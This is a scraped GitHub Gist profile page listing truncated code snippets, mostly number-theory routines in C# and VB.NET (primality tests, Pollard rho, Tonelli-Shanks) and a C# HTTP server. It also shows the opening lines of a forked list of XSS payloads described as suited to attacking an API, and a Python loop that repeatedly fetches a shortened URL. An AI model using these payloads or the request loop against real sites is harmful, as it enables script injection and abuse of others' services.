Skip to content

Instantly share code, notes, and snippets.

View kaganisildak's full-sized avatar
🐼
wofap

Kağan IŞILDAK kaganisildak

🐼
wofap
View GitHub Profile
static private Boolean IsProbablyPrime(BigInteger value, int witnesses = 10)
{
if (value <= 1)
{
return false;
}
if (witnesses <= 0)
{
witnesses = 10;
}
static private BigInteger inversemod(BigInteger a, BigInteger n)
{
BigInteger i = n;
BigInteger v = 0;
BigInteger d = 1;
while (a > 0)
{
BigInteger t = i / a;
BigInteger x = a;
a = i % x;
import urllib.request
Sayi=1
while Sayi<10:
Sayi=Sayi+1
urllib.request.urlopen("https://goo.gl/ytXAxy").read()
@kaganisildak
kaganisildak / SimpleHTTPServer.cs
Created September 1, 2017 20:55 — forked from aksakalli/SimpleHTTPServer.cs
SimpleHTTPServer in C#
// MIT License - Copyright (c) 2016 Can Güney Aksakalli
// https://aksakalli.github.io/2014/02/24/simple-http-server-with-csparp.html
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Sockets;
using System.Net;
using System.IO;
@kaganisildak
kaganisildak / 666_lines_of_XSS_vectors.html
Created August 12, 2017 12:45 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
Dim gen As New Random
Function Solovay(n As BigInteger) As Boolean
If n = 2 Then
Return True
ElseIf n < 2 OrElse n.IsEven Then
Return False
End If
Dim bytes As [Byte]() = New [Byte](n.ToByteArray().LongLength - 1) {}
Dim a As BigInteger
Do
Dim gen As New Random
Function IsPrime(value As BigInteger, Optional witness As Integer = 10) As Boolean
If value <= 1 Then
Return False
End If
Dim d As BigInteger = value - 1
Dim s As Integer = 0
While d Mod 2 = 0
d /= 2
s += 1
Function RHO(n As BigInteger)
Dim i, xi, k, y, d As BigInteger
i = 0
xi = ran.[Next](0, n - 1)
k = 2
y = xi
While i < n
i = i + 1
xi = BigInteger.ModPow(BigInteger.Pow(xi, 2) - 1, 1, n)
d = BigInteger.GreatestCommonDivisor(y - xi, n)
/*
Tonelli-Shanks Algorithm in C#
For a good overview of the importance of this algorithm.
See:
http://publications.csail.mit.edu/lcs/pubs/pdf/MIT-LCS-TR-212.pdf
http://www.math.vt.edu/people/ezbrown/doc/sqrts.pdf
https://www.amazon.com/Cryptanalytic-Attacks-RSA-Song-Yan/dp/1441943102
example by Casey Smith
@subTee
*/